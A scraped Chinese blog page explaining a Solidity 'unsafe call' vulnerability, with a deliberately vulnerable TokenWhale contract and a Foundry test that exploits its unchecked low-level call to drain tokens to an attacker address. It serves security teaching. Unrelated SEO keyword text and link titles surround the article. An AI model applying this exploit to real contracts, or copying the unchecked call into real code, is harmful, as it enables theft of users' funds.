当前位置: 首页 > news >正文

淘宝网站建设分析宁波响应式网站制作

淘宝网站建设分析,宁波响应式网站制作,邮票上的化学史网站开发,网站vi设计公司区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点#xff1a; 在 TokenWhale 合约的 approveAndCallcode 函数中#xff0c;漏洞允许任… 区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点 在 TokenWhale 合约的 approveAndCallcode 函数中漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码例如调用 transfer 函数将资金转移给攻击者从而实现重入攻击并窃取资金。 1.1 漏洞合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; /* 名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述: 在 TokenWhale 合约的 approveAndCallcode 函数中该漏洞允许执行任意调用并传入任意数据从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData))在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。 这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时输入和返回值未被检查的低级调用漏洞。 如果调用数据可控则很容易引发任意函数执行。缓解措施: 应尽可能避免使用低级调用 call。参考: https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9 */import forge-std/Test.sol;contract TokenWhale {address player;uint256 public totalSupply;mapping(address uint256) public balanceOf;mapping(address mapping(address uint256)) public allowance;string public name Simple ERC20 Token;string public symbol SET;uint8 public decimals 18;function TokenWhaleDeploy(address _player) public {player _player;totalSupply 1000;balanceOf[player] 1000;}function isComplete() public view returns (bool) {return balanceOf[player] 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] - value;balanceOf[to] value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] value);require(balanceOf[to] value balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] value);require(balanceOf[to] value balanceOf[to]);require(allowance[from][msg.sender] value);allowance[from][msg.sender] - value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] _value;bool success;// vulnerable call execute unsafe user code(success, ) _spender.call(_extraData);console.log(success:, success);} } 1.2 漏洞分析 approveAndCallcode()函数中的call可以调用_spender地址的任意函数。 1.3 攻击步骤分析 调用 approveAndCallcode 函数将 _spender 参数设置为 TokenWhaleContract 合约的地址。 将 _extraData 参数设置为 transfer 函数的函数签名及其参数触发低级调用 call从而执行 transfer 函数实现重入攻击。 输出结果 1.4 攻击合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18;import forge-std/Test.sol; import ./UnsafeCall.sol;contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract new TokenWhale();Koko vm.addr(1);Aquarius vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log(TokenWhale balance:,TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);bytes memory _extraData abi.encodeWithSignature(transfer(address,uint256),address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log(Attack success!!);TokenWhaleBalance TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log(TokenWhale Balance:, TokenWhaleBalance);AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);} }
http://www.w-s-a.com/news/386262/

相关文章:

  • 深圳建设局网站深业中城绿化项目营销型网站开发流程包括
  • 找销售的网站九江市建设项目服务中心
  • 东原ARC网站建设公司合肥seo网站推广外包
  • 那个网站是做房产中介的网站制作软件小学
  • 做网页怎么建站点视频解析网站
  • 做网站的系统设计网站设计论文前言
  • 做外贸网站多久更新汕头市建设局网站首页
  • 如何建设专业化的网站手机管理网站模板
  • 花生壳做网站如何用腾讯云做网站
  • 搭建集团网站开发app需要哪些软件
  • 网站建设 中企动力福州阀门wordpress 多说评论
  • php网站集成支付宝接口下载免费网络软件
  • 卡盟网站是怎么建设的用花生壳做网站速度可以吗
  • 杭州物联网前十名公司优秀seo平台
  • 网新中英企业网站管理系统wordpress 登录 缓存
  • wordpress模板建站教程wordpress添加广告位手机自适应
  • h5游戏平台入口优化是什么梗
  • 建设银行对公网站打不开网络推广活动方案主题和思路
  • 茶叶网站开发目的和意义网页设计需要考什么证
  • 高端企业网站建设公司怎么做实用性建设网站都需要哪些
  • 网站备案必须要幕布吗易企秀网站怎么做轮播图
  • 南昌网站排名优化四线城市网站建设方向及营利点
  • 做网站需要钱吗unity 做网站
  • 呼伦贝尔市规划建设局网站wordpress怎么考别人的
  • 免备案自助建站网站成都神速建站
  • 怎样编写app软件快速刷排名seo软件
  • 江苏做家纺的公司网站宣传型企业网站
  • 网站网上商城建设外国一些做环保袋的网站
  • 做空气开关那个网站推广比较好建站技术有哪些
  • 做网站前需要做什么准备wordpress图片云储存